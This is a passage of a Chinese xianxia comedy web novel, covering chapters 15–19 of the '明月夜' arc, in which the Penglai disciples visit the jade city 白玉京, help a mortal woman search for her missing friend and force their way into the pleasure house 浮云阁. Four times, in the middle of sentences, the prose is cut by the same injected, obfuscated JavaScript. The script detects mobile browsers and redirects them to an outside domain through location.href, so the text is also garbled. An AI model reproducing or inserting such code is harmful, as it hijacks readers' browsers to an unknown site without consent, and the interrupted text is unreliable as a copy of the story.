“三愿我们几个人永远在一起!”萧衔蝉笑道,“我知道师兄的愿望。” 花沸雪含笑点头:“是,如同棠棣花,亲友不相离。” 萧衔蝉又看身旁一直沉默的谢棺:“谢道友呢,你许愿了吗?” 谢无柩嗤笑:“你我皆是修士,难道不知星宿变动乃天机变化么?看这星坠如帚,定是彗星袭月,大灾降世之象,你还有心情许愿?” 萧衔蝉哎呦了一声:“谢道友,你这年纪轻轻怎么这么迷信?要知道物质不以人的意志为转移,这就是一个客观天文现象。” 谢无柩:这个人在说什么? 萧衔蝉双手合十,闭上眼睛:“我希望所有人的愿望都实现。” 花沸雪、金不禁和秦含玉满脸温柔地看向她。 只听萧衔蝉继续说:“实现愿望的人都自愿赠予我百万上品灵石,助我实现不劳而获,坐享其成,成为富婆的梦想。” 花沸雪、金不禁和秦含玉一个鲤鱼打滚坐起来,捂住萧衔蝉的嘴,冲流星喊道:“撤回撤回,这个愿望不算!” 萧衔蝉挣扎喊出:“钱来钱来,钱从四面八方合法合规包围我而来急急如律令!” 谢无柩坐看这幼稚的纷乱,嘴角抽搐,但心却平静下来,那永恒的痛苦与灼烧好像消散了一瞬。 第二日一大早,蓬莱岛一行人和时青谷出发前往白玉京。 15. 明月夜(二) 他们一同坐在见南山的云车上,时青谷向几人介绍白玉京:“几百年前突然天降甘露,而后便出现了一座白玉山,据说这山其实是上界掉下来的一块神玉。” 原本的白玉京和密州其他城池相较,是诸多修士城池之一,因有明月夜在此地,故而更大一些,繁华一些,但自从有了白玉山之后,白玉京就成了名副其实的白玉京了。 明月夜特意从白玉山上凿下玉石,用于砌城。 “来白玉京的游玩的修士变得更多了,春江渡的鸳鸯舟都多了好几只,我种的谷子大半都卖给了春江渡,供他们喂鸳鸯。” 飞过几座春楼,将一众粉白黛绿唱的“白玉山,仙果酒,一个小虫往里钻,黑漆漆,滑溜溜,小虫原是条大龙”等淫词艳赋抛之脑后,几人像逃命般,又往前飞了几重天,直到一座恢宏秀丽的城池映入眼帘。 白玉砖、白玉瓦、白玉楼,白玉铺陈千里。 晨光普照,这座精致又华丽的城池泛起柔泽的光芒,如同一块放大的精美玉雕,又如同仙界的灵霄宝殿。 城门共有五个,皆刻有大型阵法,每个门钉都是支撑阵法的灵石,有役使灵兽拉车的,那身形庞大如山的灵兽也能从城门轻松通过,城中不知用了什么,萦绕着一股令人心醉的香气。 彩云环绕,灵光大盛,仙家气派,这便是白玉京,也是萧衔蝉几人出岛后见到的第一个大城,此时他们的脑袋里正不断滚动着同一句话——太有钱了! “什么家底啊,竟然用玉石修城!”萧衔蝉喃喃自语出声。 他们现在还没进入内城,脚下踩得砖都是白玉制成的,金不禁他们也齐齐张大嘴巴,露出没见识的表情。 谢无柩的嘴角抽搐几下,不留痕迹地远离了这些人。 时青谷笑道:“我时常来白玉京卖灵谷,对这里还算熟悉,等找到我师姐,到时候带几位道友四处转一转。” 时青谷话音刚落,就听见一个不甚和谐的声音:“我当是哪个穷乡僻壤出来修士这般没见识,在白玉京城门口丢人现眼,原来是见南山的乡巴佬!早知道他们站在这,我才不往这来。” 来人坐在雷金竹肩與上,透过变幻万千的海市纱帐,可以看到是个锦衣华服的年轻公子,他衣服上的符文金光闪闪,镶嵌着打磨好的上品灵石,靠在肩與斜眼看人,声音里满是居高临下的嫌弃。 抬肩與的不是凡人,而是修士,这些被当做下仆的修士穿着亦华贵非常。 时青谷一张小麦色的脸气得通红,然他不善与人争辩,此时一句话也说不出。 那人挥了挥洒金扇,还要说些什么,余光扫到时青谷背后的几人身上,突然闭上嘴,直觉告诉他,这五人不一般。 他一甩桃花织金袍,敲敲扶手,示意下仆抬他进城,前呼后拥着好几个仆人,守城的修士一句都没多过问,就恭敬地放人进去了。 这一幕看得萧衔蝉皱眉:“这人谁啊?” 时青谷又是气急又是挫败:“是明月夜露白长老的侄孙夜犹良,夜家是密州的名门大族,他素来看不起我们修生灵道的,觉得我们与凡间老农无异。” “老农怎么了?没有农民种地,饿都饿死他。”萧衔蝉不快道。 官二代加富二代,难怪这么嚣张,只现在也不是计较此人无礼的时候,人家早就进城了,萧衔蝉一行人便到城门处,先进城再做打算。 守城的修士照例询问他们出身哪门哪派,听到他们说是“朋来”,一脸不屑,冷笑:“可是奇了,自从蓬莱岛说要参加关龠法会,九界一时间竟同时出现数百名蓬莱弟子,劝你们一句,别什么热度都蹭。” 蓬莱岛诸人对守城修士的话不明所以。 直到进城后,时青谷才告诉萧衔蝉他们缘由。 自从九方得知蓬莱出世的消息后,就出现了无数个号称蓬莱亲传的弟子,一开始还有人相信,让他们打着蓬莱的名号,招摇撞骗了好多灵石,后来随着骗局被揭穿,导致现在凡是出现“蓬莱”二字,都率先被认为是骗子。 骤闻此事的萧衔蝉他们:…… 秦含玉咬牙切齿地传音入密:“怎么这样的好事没让咱们遇到!” 金不禁也极为痛心:“还不是怪咱们太穷了,要是早一日来到九州,招摇撞骗能赚钱的就是咱们的了!” 萧衔蝉扼腕叹息:“唉,真是吃屎都赶不上热乎的。” 谢无柩有些惊愕地看向他们,一是惊讶传音入密一般而言只能让一人听见,怎么他们交谈的密言彼此都能听到,而且还全部让他听见了?二是惊讶他们身为蓬莱弟子,怎么还想着骗人? 花沸雪温声细语,安慰师弟师妹们:“咱们怎么能去骗人钱财呢?” 谢无柩暗自点头,看来蓬莱还是有正常修士的。 金不禁接话道:“咱们可是名副其实的蓬莱弟子,打着蓬莱的名号也不算招摇撞骗,用妙妙的话说,这应该叫拉投资。” 谢无柩:……没救了,蓬莱岛迟早要完,这个门派就没有一个正常的修士。 萧衔蝉忽然想到些什么:“时道友,如果现在我们说我们是蓬莱……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14765534|157230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时青谷立刻打断她的话:“那你们立刻就会被受害者及其家属围殴!有个打着蓬莱名号的骗子,骗了一个行客路修士十万上品灵石呢,听说行客路都放出话来,在关龠法会之前再碰上自称蓬莱弟子的,直接打死。” 秦含玉有些着急:“若是我们有门派弟子令牌为证呢?” 时青谷道:“哪个出来行骗的不造个假令牌?那个骗了十万灵石的骗子,用仙器焰风火霞扇的扇羽做令牌,正是因为他的令牌罕见珍贵,这才轻易取得了受害者的信任,自他之后,凡是再言说自己是蓬莱弟子的,大家都不相信了。” 萧衔蝉默默将自己的令牌又塞了回去。 蓬莱岛的令牌是用椰子壳刻的,别说跟仙器比,就是和凡人的筷子比,也不算贵。 花沸雪不自在地清了清嗓子,传音入密给师弟师妹们:“师父留在昆仑宗玉印上的神识可以给我们作证身份,但是也只有到达昆仑宗,在关龠法会上才可以证实,在此之前,咱们还是藏好身份,免得城门失火,殃及池鱼。” 大伙心有戚戚然地点点头。 人在他乡闯荡,还是以谨慎二字为上。 谢无柩终于出声了,他也给这群人传音入密:“你们就没发现,你们的密音都让我听到了?” 萧衔蝉理所当然地点头:“你要听不到那就说明我们的群聊出问题了!” 花沸雪也道:“这个群聊还是妙妙构造的,她用我们几个人的一丝识海之力共筑了一片飞讯密域,这样传音入密,想说什么,在密域里大伙都能听见,也省得一个一个通知,妙妙说这个叫群聊。” 萧衔蝉笑道:“幸好你的识海里还有残存的灵气,我才能拉你入群,怎么样,这个法术不错吧?” 谢无柩:…… 现在是让他夸这个群聊好不好的时候吗? 他们当着他这个只有几面之缘的陌生人的面,说出玉印神识可以识别身份这样的机密,只要他有一丝不轨之心,潜入昆仑毁了玉印,再不济将玉印盗出,让他们无法取得昆仑信任,此事易如反掌。 一群修为最高也不过金丹的小修士,他们会在九方世界遇到大麻烦,而他们现在竟然还在向他炫耀他们的小法术? 这群人到底有没有脑子? “浮云楼每九日放出一批赏花令,算算日子,明天就是放令的时候。”时青谷领着众人来到一家五谷杂粮店,“这个粮油店是我们见南山开的,房子还算宽敞,为节省灵石,只能委屈大家住在店铺里,今晚我带大家在白玉京各处逛逛。” 16. 明月夜(三) 蓬莱岛四人看着宽敞的店铺和琳琅满目的商品,又露出了没见识的神情,店中来往的修士买东西,价格单位基本都是上品灵石。 秦含玉感叹道:“这么看来,你们见南山不穷啊。” 时青谷不好意思道:“这都是宗门的一点小生意,比上不足,比下有余罢了,不然我们这些弟子的月俸也不会只有十块灵石而已。” “十块灵石?”萧衔蝉现在对外界的灵石单位很是警惕,“是中品灵石还是……” “自然是上品,见南山虽然穷,倒不至于穷到揭不开锅,给弟子发中品灵石,虽然与明月夜这样的大派不能比,但我们都很满足了。”时青谷一连憨厚。 蓬莱岛四人差点呕出一口血,给弟子发中品灵石叫穷到揭不开锅,那给弟子发十块下品灵石的蓬莱岛是穷到什么地步了啊! 萧衔蝉又问时青谷:“那明月夜弟子的月俸呢?” 时青谷:“听闻外门弟子也有十块灵石。” 萧衔蝉不知是安慰同门还是安慰自己:“没事,我们如今赚了钱,以后还能赚更多钱,咱们日后也每月十块上品灵石!” 时青谷:“内门弟子的月俸最低是一百。” 萧衔蝉立刻开口问道:“明月夜还招弟子吗?” 谢无柩幽幽地看向萧衔蝉,这个妖修就这么轻易地背离师门?当着同门的面就这么说?再看蓬莱岛其余三人,个个眼冒绿光。 萧衔蝉深呼吸一口气:“明月夜主音修对吧?” 她抽出芥子袋里的唢呐,看向时青谷:“我有非常丰富的音乐艺术表演史,演绎过许多深入人心的悲伤或欢乐的乐曲,有没有机会进明月夜?” 岛上但凡红白喜事,她都去吹过唢呐,一百多年,从小孩满月吹到老人去世,若论起乐器,萧衔蝉自认不差。 “我们还可以组乐团!” 花沸雪拿出小鼓,金不禁取出镲,秦含玉左看看右看看,着急道:“我会哭灵,我哭得可大声了。” 他们蓬莱小队当年给人哭灵赚白事钱的时候,就是这个配制。 萧衔蝉连忙替师妹润色:“她的意思是,她会唱歌,那种端庄肃穆的歌,唱歌也算音修吧?” 谢无柩已经懒得腹诽什么了。 暮色渐浓,天边卷起瑰丽云霞,确认如今明月夜不再收弟子后,蓬莱岛一行人失望了好久,直到时青谷说带大家出门玩才开心起来。 时青谷一边走一边道:“明月夜已经好久不招新修士了,你们想,招生名额就那么多,他们门派自己弟子的亲戚都不够分这些名额,怎么还会向外招呢。” 刚刚走出粮油店的后门,萧衔蝉看见一个中年女人扶墙走来,这个女人衣衫褴褛,肤色黧黑,低垂着脑袋,似乎要把腰弯进地里,身上没有修炼的痕迹,是个普普通通的凡人,与白玉铺路的白玉京格格不入。 女人似是赶了许久的路,脚上的布鞋磨损严重,趾尖处渗出的血将鞋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14790100|157230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面布料染成深色,她突然眼一闭,直直栽了下去。 花沸雪常年行医,一眼就看出这妇人奔波日久,积劳成疾,不及时救治恐怕有生命危险,他忙上前去,手掌一翻正要帮她检查身体。 中年女子体力不支,眼神倒还不很迷糊,看到来人一身黑斗篷,又会法术,吓得尖叫一声,立刻软倒在地,不断叩头:“求仙人饶命,求仙人饶命。” 萧衔蝉急忙上前扶起她:“别怕,我师兄是看到你体力不支,想给你治病,他不是坏人。” 中年女子怯怯的,不敢相信听到的话,一双眼睛温润的像牛的眼。 萧衔蝉温柔又坚定地将倒地不起的妇人扶进他们住的房间,花沸雪快速熬好药送到她手中。 中年女子此刻才渐渐从惊惧中缓过来,她看看手中的药碗,又看看满目关心的女道长,她的眼睛突然亮起一抹豁出一切的光。 她将药碗放到桌上,对着萧衔蝉和花沸雪跪了下去:“贱民扰了仙人,还能有幸蒙仙人赐药,贱民感激不尽,贱民原将此一身尽数奉于仙人,只求仙人一件事。” 她眼睛肿胀,眼眶通红,嘴唇干裂起皮,只顾磕头,不多时,额头上便一片红肿。 萧衔蝉在女子跪下的时候就吓了一跳,她连忙扶起女子,阻止她近乎自残以示虔诚的叩头行为:“你遇到什么难事了么?阿婶不妨说与我们听听。” 女子眼含热泪:“我有一个朋友,乃明月夜外门弟子……” 17. 明月夜(四) 中年女人姓张,名唤喜鹊,住在密州东部沿海的盐长国,盐长国早年遭邪祟作乱,百鬼夜行,在这场鬼怪灾祸中死了无数人,其中便有无数为国捐躯的士兵,士兵们留下的孩子大多成了孤儿。 盐长国遭逢大难,国中皇室与官府自顾不暇,不久就逃离国土了,邻国嫌弃这些遇到邪祟作乱的人们,认为他们不详,不肯让盐长国幸存的百姓靠近,百姓们生存求活已是不易,无法生出多余的善心。 这些孩子是互相帮扶着才勉强活下来。 张喜鹊和一个叫张小凤的姑娘一起长大,既是朋友,也是亲人,十年前,张小凤被检测出灵根,选入明月夜做了外门弟子。 踏入仙途第一件事就是斩断红尘,但张小凤与朋友们一同长大,感情深厚,时常与家中书信往来,但数月前,张小凤再没有向家中寄过信。 “我担心的不得了,所以变卖家产田地,筹足路费,来到白玉京,好不容易求明月夜的弟子去打听,却听他们说明月夜里根本没有叫张小凤的弟子。” 张喜鹊说到这,不由哭了起来,两个青年眼眶泛红,抱着脑袋。 “可小凤当年分明被仙人带走了,她被测出土木双灵根,仙人一眼看中,她当时坐在仙人的云上还冲我挥手呢,这些年来的书信上也写了许多明月夜的新鲜事,怎么可能不是明月夜的弟子!” 张喜鹊形容枯槁,目如烈火,似被痛苦焚烧。 窗外突然响起咔擦一声,是小鸟压断树枝而发出的声音,鸟儿惊枝,霎时擦着月牙飞走了。 “咔擦!” 伸手不见五指的地下某处,一个姑娘像蜘蛛一样在地面爬行,身躯虚弱,衣料与地板摩擦,姑娘抬头,眼睛赤红一片,看向另一个倒在地上的人,腐臭与腥甜萦绕在她的鼻尖。 花沸雪将拜帖递入明月夜名下的店铺里,店铺华丽无比,满室花果香,店老板是个练气期修士,收下拜帖,给他们一个号码牌,淡淡道:“且排着吧。” 萧衔蝉看号码牌,上面写着一万零一号,这代表他们是这个月第一万零一个要求上明月夜的人。 这是明月夜的规矩,但凡要求见者,若无人引荐,需得于门派名下店铺递上拜帖,等待召见。 “总不能一直等着吧。”秦含玉蹙眉,“万一张小凤遇到危险,咱们去迟了来不及救人。” 萧衔蝉摸着号码牌的字迹,沉思道:“为什么明月夜说没有叫张小凤的弟子呢?” 花沸雪叹了口气,尽量往好处想:“许是看不起凡人,故而也不查询,随口说的罢。” 金不禁双手抱胸:“等今天帮时道友找到他的师姐,咱们就直接去明月夜。” 萧衔蝉点头赞同,众人一起走出店铺,她深呼吸一口气,只觉沁人心脾:“好香啊!” 白玉京是密州乃至九界赫赫有名的大城之一,占地面积极广,人来人往,穿着华贵的名门修士雍容雅步地走在玉砖大路上,更多的修士则是驾云而飞。 他们一行人走了许久,才从见南山的粮油店走到城中心,越往城中心走,那股白玉京特有的香气就越浓郁,如兰似麝般馥郁。 这般香气环绕着整个白玉京,将萧衔蝉从忧虑的思绪中拉到现实里。 看着玉铺成的街道,萧衔蝉道:“白玉京如此富丽堂皇,听说明月夜就在白玉京,也不知明月夜是怎样的宏丽。” 时青谷微微一笑:“等到了每月十五晚上,你就能看见明月夜了,这可是我们密州的奇景,曾有凡人在白玉京游玩,震惊于白玉京的明月夜,写诗云‘天上白玉京,十二楼五城。仙人抚我顶,结发受长生’,后来这个凡人还被人誉为诗仙呢。” 虽然还没看见明月夜,但浮云阁的富丽堂皇也给了蓬莱岛众人不少震撼。 这是一座极高的宝楼,位于白玉京八街九陌正中的湖心岛上,数百座恢宏的大桥架在湖畔与湖心岛之间,如同蜿蜒的神龙,拱卫正中的宝楼,宝楼直插云霄,雾阁云窗,飞桥玲珑,满楼红袖招。 轻薄的彩色鲛纱,使得白玉也染上一抹艳丽又朦胧的红,湖面上香气阵阵,水荡涨腻,仅是站在湖畔,便能想象出阁里的美人该是多么倾国倾城。 醉气熏人的欢客与美人作别,迈着醉生梦死的步子离去。 在富贵逼人的浮云阁前,时青谷还未进去就先有些气短:“听说有修士曾在浮云阁住了一百二十又三年,出来后说浮云之怡人惬怀,便是让他立地升仙也不换。” “那都是浮云阁打出来的扬名手段罢了”萧衔蝉不屑道,“时道友放心,有我们呢,保管叫你顺顺当当地进去。” 说着,她就一马当先,往浮云阁方向去了。 刚踏上桥面,时青谷就连忙拉住她:“几位道友助我,青谷铭记于心,只是还请萧道友告诉我,我们怎么进去?” 浮云阁进门就要先交一千上品灵石,这钱肯定不能让朋友们交,时青谷打定主意,要是萧道友他们为他凑份子,就算是他借他们的。 萧衔蝉清了清嗓子道:“非常简单,是这样的,我们进入浮云阁可以走特殊通道。” 时青谷有些发愣:“萧道友难道认识浮云阁的人?” 难道可以走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14790101|157230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后门? 秦含玉和金不禁对视一眼,花沸雪将头撇开,不忍再看接下来的发展。 谢无柩心中突然有了一个不好的预感,以这个妖修不靠谱的程度,难道她…… 萧衔蝉打了个响指:“我们进入浮云阁的计划是这样的——”她顿了一下,“这个计划的全名叫‘没素质进入浮云阁计划’,你负责进入,我们负责没素质!” 时青谷还不明白,傻傻地问:“什么意思?” 浮云阁的护卫看着他们一直站在阁外,对着浮云阁窃窃私语,已经开始怀疑外面这群人是不是不怀好意,个个警惕起来。 萧衔蝉从芥子袋掏出师父给的符箓,秦含玉扛起用布条充当刀鞘的且停侯,金不禁一手捏金诀一手捏火诀,花沸雪在斗篷之下蓄势待发。 四人站在华丽的桥上排成一排,宛若四个赌上职业生涯的黄牛。 谢无柩已经明白了萧衔蝉的计划,只觉得额角青筋一跳一跳。 浮云阁的护卫隔着湖面水汽对他们喊道:“凡是进阁,先交一千上品灵石,否则的话,我们兄弟可不是吃素的!” 萧衔蝉小声对时青谷道:“你尽管进去,我们来帮你打架!” 说着,四人向浮云阁飞奔而去,护卫们大吃一惊:“兄弟们,他们果然是砸场子的!” 霎时间,各种法术法诀在雕栏玉砌之外炸开,映在湖水上,像是烟花一样五颜六色。 萧衔蝉一边把符箓甩得噼啪作响,一边冲时青谷喊:“快进去!这些护卫有我们拦着呢。” 时青谷还没反应过来,旁边想坐收渔翁之利,趁乱溜进浮云阁的人就先进去了。 不等侍卫们阻拦这“渔翁”,此人便被萧衔蝉一个力拔山兮举起来,扔向远方:“呔!好小子竟敢不买票!” 浮云阁的侍卫们:…… 到底谁是护卫?谁是逃票的? 时青谷从刚刚开始,就一脸好似被黄牛坑了的表情,呆在原地,此时咬了咬牙,终于下定决心,朋友们为他连素质都不要了,他又何必坚持要道德呢? 况且他只进去找师姐,找到师姐就出来,一刻也不耽误。 想清楚后,时青谷立刻拉住谢无柩,飞身进入了浮云阁。 一直在旁边看热闹的谢无柩:什么是飞来横祸?这简直是无妄之灾! 红底绿叶大牡丹的衣摆在空中划出妖娆的路线,很快就消失在浮云阁的大门里。 看见他们都进去了,萧衔蝉心中一急,冲师兄师妹传音入密:“不好,谢道友也进去了,咱们还得进去把他拉出来!” 18. 明月夜(五) “谢公子与你们口中那伙强闯的贼子没有丝毫干系。” 贼子之一萧衔蝉义正言辞。 “公子以前来浮云阁时,常问我,‘吾与卿鱼公子孰美’?每每我以实话答之,言说谢公子美甚,他便不信,以为我是被爱情蒙蔽了双眼,故而我便建议谢公子也来选花魁。” 她环顾四周,看了眼大伙被震住的表情,满意地继续道:“既然是来选花魁的,便与浮云阁是竞争关系,难道谢公子还要给竞争对手送钱不成?” 护卫长冷静的表情龟裂,他颤着声音:“他……他穿成这样,和卿鱼公子争夺花魁之位?” 花魁不仅要评比容貌,打扮、才艺、礼仪都是评比内容,这位谢公子单看容貌,确实不俗,可这衣裳…… 护卫长又看了一眼,觉得自己眼睛要被丑瞎了,这种审美对他而言着实太超前了。 萧衔蝉挑眉:“谢公子穿成这样难道不好看吗?你看看这花中之王,也只有谢公子这般出世嫡仙,才能以牡丹相比,艳压群芳!” 很好,萧衔蝉在心中给自己点了一个赞,还没开始正式选秀,艳压词条已经预备上了。 “再说了,谢公子穿牡丹也是为了与我相配。”萧衔蝉道,她抚了抚鬓边的牡丹,“我们是有名的牡丹侠侣。” 继续点赞,cp也已经安排上了,只待选秀101,啊不,选花会开始,她就疯狂地开炒! 我真是一个合格的爱豆经纪人,萧衔蝉骄傲自夸。 不到一盏茶的功夫,浮云阁所有人都知道了有一个自诩美貌的公子,姓谢,别号牡丹侠侣,看不惯卿鱼公子被认为是九方最好看的男子,心中不忿,特来与卿鱼公子一较高下。 浮云阁行事大气,不愧它天下第一风流阁的名头,管事的很快吩咐开出一间上房与谢无柩居住。 谢无柩被迎入香气扑鼻的暖阁时,脑子里还在飘着离谱二字,他莫名其妙的,就成了备选花魁,想他活到如今这年岁,他什么没经历过,什么没见过,结果…… 这他还真没见过。 “哇,浮云阁真的有钱,他们房子里的照明用夜明珠诶!”萧衔蝉一脸没见识地摸灯台上镶嵌的珠子。 谢无柩虽然在神游天外,但还是习惯性道:“那是密春珠,密州被春江环绕,从春江河蚌里挖出来的珠子,一颗也不过……” 谢无柩顿住了,他竟然在这里浪费时间! 他清了清嗓子:“萧道友,你为何对他们说我要……”他嘴唇抿了又抿,终于不堪受辱般吐出那四个字,“竞!选!花!魁!” 每一个字都掷地有声,全是压抑的怒火,要是他还有以前的法力,那必是言出法随,一个字就能将萧衔蝉碾碎,只可惜现在是人为刀俎,我为鱼肉。 谢无柩一向平静的眼睛要冒出火来,最会演戏的他终于没有了一丝掩饰情绪的想法。 萧衔蝉对危险毫无所觉,啧了一声:“你怎么不懂啊,这个浮云阁这么大,我们还不知道什么时候才能找到其他人,当然得先找机会住下了,再者说,就算我们找不到他们,几日后的花魁大会上,所有人都能看到你,不就不用我们找了?这就是山不来就我,我就变成山!” 我真是一个小机灵鬼,萧衔蝉得意洋洋地翘起尾巴。 谢无柩深呼吸,阖眼调息,压下喉头涌起的鲜血。 也罢,终究他刚刚在浮云阁里感受到的气息还未查明,大丈夫能屈能伸,先留在这,待他查明就离开,想来最多两日,以他的能力,当是不费吹灰之力。 再睁眼时,谢无柩恢复了素日里正派又清俊的模样,一打量这个屋子,他迅速又闭上眼睛,声音发颤:“这……这是……” 只见暧昧的红纱从梁上垂落,恰好落在红色圆形床的两边,看上去很适合绑住手腕什么的,墙上还挂着蛇骨鞭、玲珑拷,春凳的一头放着春情烛,惑人心神的依兰香正从香炉里袅袅升起。 此屋的布置,无一处不与情爱相关。 “你告诉他们,我要换房间。”谢无柩双眼紧闭,不愿多看这腌臜之地一眼。 萧衔蝉为难道:“可是咱们在人家眼里,已经是砸场子的死对头了,再要三要四的,万一人家生气了,咱俩今晚睡哪?” 谢无柩气结:“就是睡屋顶我也不要……”他发现了不寻常之处,“咱俩?你今夜要与我同……同屋而眠?” 他的声音有些颤抖。 萧衔蝉点头:“当然了!” 轻浮!浅薄!愚不可及! 谢无柩在心里一连串给萧衔蝉下了三个评价,然后他怒而起身,甩袖直接离开这间屋子,不想再在这个愚蠢妖修身上浪费时间。 他现在在浮云阁的第五十五层,距方才感受到的气息更近了一点,循着这个熟悉的气息,他继续向上,只是身后跟了个小尾巴。 萧衔蝉看谢棺一手背在后,一手自然垂落,鹤膝蜂腰,矩步方行,一身大红牡丹棉袄风格的法袍都能穿出风度典雅之态,只觉得佩服。 “谢公子你出来做什么?”萧衔蝉拉着他衣袖的一角,怕人潮拥挤后找不到他。 谢无柩一扯袖子,扯不动,只得由她,丢下一句,“我在找人。” 萧衔蝉眼睛一亮:“你知道师兄师妹们在哪?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14798523|157230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不知道。”谢无柩道,“我在找熟人。” “这里有你的朋友?你看到你朋友了?”萧衔蝉惊讶。 她四处张望,只见到处都是搂着漂亮姑娘或漂亮公子的男修女修,欢声笑语不休,与他们擦肩而过,看不出哪个是谢道友的友人。 谢无柩嘴角微微泛出冷嘲,朋友?若那气息真是他心中所想的那些人,他一定会想方设法杀了他们,剔骨灭魂,永世不得超生。 他回头看了一眼身后的妖修,他们一层一层往上走,她的脸上不断出现一抹又一抹的花影,芙蓉的、茉莉的、水仙的,红柱金漆映着灵石散发的光芒,穷奢极侈,倒显得她一身灼灼红衣也天然几分。 “听说灵宠的鼻子都很灵,若是有萧道友相助,想必找人也能快几分。”谢无柩突然若有所指地看着萧衔蝉,传音入密。 萧衔蝉闻言浑身都僵住了,谢道友难道看出来她就是那个流了他一身口水的智障小熊猫? 她悄悄看走在前面的谢棺,只见他的嘴角挂着一丝似有若无的笑意。 不不不,萧衔蝉很快镇定下来。 离家前师父给他们师兄妹们画了敛灵符,谢道友如今重伤若此,虽然知道她是个妖修,但肯定不可能看出她的原型与那智障小熊猫一模一样。 萧衔蝉冷静道:“不错,我们确实养了只快要化形的小熊猫,不过它现在不在这,只能我帮谢道友了,我身为筑基期的妖修,凭气寻人不在话下,谢道友若有朋友的旧物,不妨与我一观。” 谢无柩微笑:“没有他们的旧物,只是他们的灵气与此物相同。” 说着,他拿出一块黑乎乎的小碎片,萧衔蝉一眼便认出这是他那仿照轮回盘炼造的法宝碎片。 她的心头顿时涌上铺天盖地的愧疚,二话不说,深深地嗅了碎片一下,将残留的气息味道记住,然后又仔细嗅着浮云阁里的气息。 谢无柩本也没指望靠她找到他们,他只是想让她安静下来,二人继续向上走。 萧衔蝉皱着眉头,边走边左闻闻右闻闻,阁里的人太多了,气息繁杂,她只感觉到隐隐约约的气息,却怎么也抓不到。 “子时已到,双月凌空——” 一个极悠长的声音自浮云阁顶而下,荡在阁中每个人的耳畔。 浮云阁里有灵石借光,通宵达旦,有风流不夜之号,然每逢子时,阁顶便会打开,让夜空中的月华与白玉京里醉人的香气流淌下来。 此时此刻,萧衔蝉终于明白了时青谷对明月夜的形容“天上白玉京,十二楼五城。仙人抚我顶,结发受长生”是什么意思了。 19. 明月夜(六) 只见朗朗夜空中挂着两个月亮,一轮月亮虽皎洁出尘,却被另一轮“月”夺走全部光华,那是一座与月争辉的“天上白玉京”。 数不清的玉桥如虹,连接着画阁飞檐,琼楼玉宇,云雾缭绕仍不掩光华灿烂。 从地面看,仿佛有两轮月同在天际,甚至明月夜比真正的月亮更加明亮,在人们行走于黑暗时,指引方向。 偶有白衣修士或驾云、或踏花、或乘鹤,从瑶台银阙飞下,仙姿飘飘,当真让人分不清哪一个才是嫦娥居住的广寒。 浮云阁里璀璨的灵石和金粉在此刻都暗淡下来。 萧衔蝉痴迷地看着明月夜,仿佛被眼前无与伦比的神奇美景惑住心神。 谢无柩听见她喃喃自语:“这得多少钱啊……” 原来她是痴迷于钱。 谢无柩无语地看向别处,突然瞳孔一缩,正要再往上走,袖子被萧衔蝉拉住了,她踮起脚靠近他耳边,温热的呼吸打在耳垂——“我闻到残留在你法宝里的气息了,看顶楼。” 谢无柩眸光微动,他也才感应到,她竟然同时闻到了,只是……他声音清冷:“下一次如果还是传音入密的话,无需靠我这般近。” 萧衔蝉恍然大悟般点点头,她习惯了说悄悄话就要靠近彼此,总是把普通人的习惯带到修真界来。 二人不再多言,向顶楼看去,只见一华服公子身旁有一白衣人,白袍遮得忒严实,还用了法术阻碍他人窥探,也亏他用了法术,萧衔蝉这才能从他的灵气里嗅到与法宝相近的味道。 “那个打扮富贵的公子,不正是咱们在城门口碰见的夜犹良吗?” 萧衔蝉对此人还有些印象,她又深呼吸,充分发挥妖修的天赋,总觉得夜犹良和旁边的白衣人的气息,还掺杂了别的不同寻常之气。 可是不多时,夜犹良和白衣人转身就不见了。 “我们还去找你朋友吗?他们在顶层诶!”萧衔蝉道,“那里好像是阁主的房间。” “不必”谢无柩盯着白衣人离去的背影道,“此人非我友人。” 不是朋友?萧衔蝉疑惑,那找他干什么?难道是仇敌? 在转过身去,谢无柩低垂着眼眸,眸光中的阴冷被全数遮住。 